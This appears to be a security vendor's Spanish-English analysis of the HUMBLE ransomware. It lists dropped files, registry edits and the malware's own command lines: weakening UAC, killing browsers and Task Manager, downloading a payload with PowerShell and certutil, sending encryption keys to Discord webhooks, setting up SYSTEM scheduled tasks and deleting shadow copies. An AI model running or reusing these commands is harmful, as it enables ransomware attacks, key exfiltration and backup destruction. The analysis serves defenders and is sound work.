Ransom.Win32.HUMBLE.THBAGBB

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

No obstante, de este modo no se podrá acceder a los sitios mencionados.

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Infiltra los archivos siguientes:

• %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp
• %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\{Random 4 Characters}.bat
• %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\aescrypt.exe -> encryptor
• %User Temp%\{Random 4 Characters}.tmp\DiscordSendWebhook.exe
• %User Temp%\kill.bat -> kills the task manager process.
• %User Temp%\final.exe -> Destroys MBR
• %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\extd.exe -> Trojan.Win32.HUMBLE.A

Agrega los procesos siguientes:

• "%System%\cmd.exe" /c "%User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\{Random 4 Characters}.bat {Malware File Path and Name}"
• REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t REG_DWORD /d "0" /f
• REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d "0" /f
• REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "1" /f
• REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d {Hex Values}
• REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
• REG ADD "HKEY_CURRENT_USER\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d "1" /f
• attrib +r +s +h +a +i "%User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\aescrypt.exe"
• attrib +r +s +h +a +i "%User Temp%\{Random 4 Characters}.tmp\DiscordSendWebhook.exe"
• %User Temp%\{Random 4 Characters}.tmp\DiscordSendWebhook.exe -m ":writing_hand:Currently encrypting files... Please wait until the password and fake btc acc are sended" https://discord.com/api/webhooks/{BLOCKED}0047/DHTqigSoy72GqbbicAGvijeiMetfkvr8QL0UVyVIbp-4tehVd6_cnFln19Z4Ro5R76Ci
• powershell start -verb runas cmd.exe /ArgumentList "/c kill.bat" /filepath "%User Temp" /WindowsStyle hidden
• taskkill /f /im opera.exe
• taskkill /f /im chrome.exe
• taskkill /f /im firefox.exe
• taskkill /f /im iexplore.exe
• %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\aescrypt.exe -e -p {Key} -o "{File Name}.lck" "{Original File Name}" -> Encryption
• powershell.exe -c (new-object System.Net.WebClient).DownloadFile(https://cdn-115.{BLOCKED}le.com/9821W1G5p3/542b7e19-1612884386/gameover.exe',%User Temp%\final.exe'
• powershell.exe -c Invoke-WebRequest -Uri https://cdn-115.{BLOCKED}le.com/9821W1G5p3/542b7e19-1612884386/gameover.exe -OutFile %User Temp%\final.exe
• certutil -urlcache -split -f https://cdn-115.{BLOCKED}le.com/9821W1G5p3/542b7e19-1612884386/gameover.exe %User Temp%\final.exe
• %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\extd.exe "/download" "https://cdn-115.{BLOCKED}le.com/9821W1G5p3/542b7e19-1612884386/gameover.exe" "%User Temp%\final.exe"
• %System%\cmd.exe /c dir * /a-D /b /oS
• "C:\Users\DYITUS~1\AppData\Local\Temp\4A5F.tmp\DiscordSendWebhook" -m ":satellite: New Crypt from {User Name}, Password: {BLOCKED}KRZcLzoWktvlCk4U03uaqWOIE1 , FakeAccount: {BLOCKED}nBoc9SkLgfQRyfgmeFNv4P, PersonalKey:||{Key}||" -w https://discord.com/api/webhooks/{BLOCKED}452915/jhcjthfZ4SBzzZNBbqZ9xII5kv9CycOOacxLmktf6BQQn-FYteG1I-Ntg02B-4UphE4K;
• schtasks /create /sc onlogon /tn UpdateWuauclt /rl highest /tr "{Malware File Path and Name" /RU "SYSTEM" /f
• schtasks /create /sc DAILY /tn UpdateWuaucltHelper /rl highest /tr "%User Temp%\final.exe" /RU "SYSTEM" /MO 5
• wmic shadowcopy delete
• vssadmin delete shadows /all /quiet

Crea las carpetas siguientes:

• %User Temp%\{Random 4 Characters}.tmp\
• %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\

(Nota: %User Temp% es la carpeta Temp del usuario activo, que en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) suele estar en C:\Documents and Settings\{nombre de usuario}\Local Settings\Temp y en el case de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Local\Temp).

Técnica de inicio automático

Este malware infiltra el/los archivo(s) siguiente(s) en la carpeta de inicio común de Windows para permitir su ejecución automática cada vez que se inicia el sistema:

• %Common Startup%\{Malware File Name}.exe

(Nota: %Common Startup% es la carpeta de inicio común del sistema, que en el caso de Windows 98 y ME suele estar en C:\Windows\Menú Inicio\Programas\Inicio, en el caso de Windows NT en C:\WINNT\Profiles\All Users\Programas\Inicio y en el caso de Windows 2000, XP y Server 2003 en C:\Documents and Settings\All Users\Menú Inicio\Programas\Inicio).

Otras modificaciones del sistema

Agrega las siguientes entradas de registro:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableTaskMgr = 1

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Control\Keyboard Layout
Scancode Map = {Hex Values}

Modifica las siguientes entradas de registro:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
System
PromptOnSecureDesktop = 0

(Note: The default value data of the said registry entry is 1.)

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
System
ConsentPromptBehaviorAdmin = 0

(Note: The default value data of the said registry entry is 5.)

HKEY_CURRENT_USER\Control Panel\Mouse
SwapMouseButtons = 1

(Note: The default value data of the said registry entry is 0.)

Finalización del proceso

Finaliza los procesos siguientes si detecta que se ejecutan en la memoria del sistema afectado:

• taskmgr.exe
• opera.exe
• firefox.exe
• iexplore.exe
• chrome.exe

Rutina de descarga

No obstante, de este modo no se podrá acceder a los sitios mencionados.

Otros detalles

Hace lo siguiente:

• The Ransomware sends a report to the Malware Operator’s Discord WebHook Panel via custom-made, Auto-It compiled Discord WebHook binary.
  • https://discord.com/api/webhooks/{BLOCKED}573722710047/{BLOCKED}Soy72GqbbicAGvijeiMetfkvr8QL0UVyVIbp-4tehVd6_cnFln19Z4Ro5R76Ci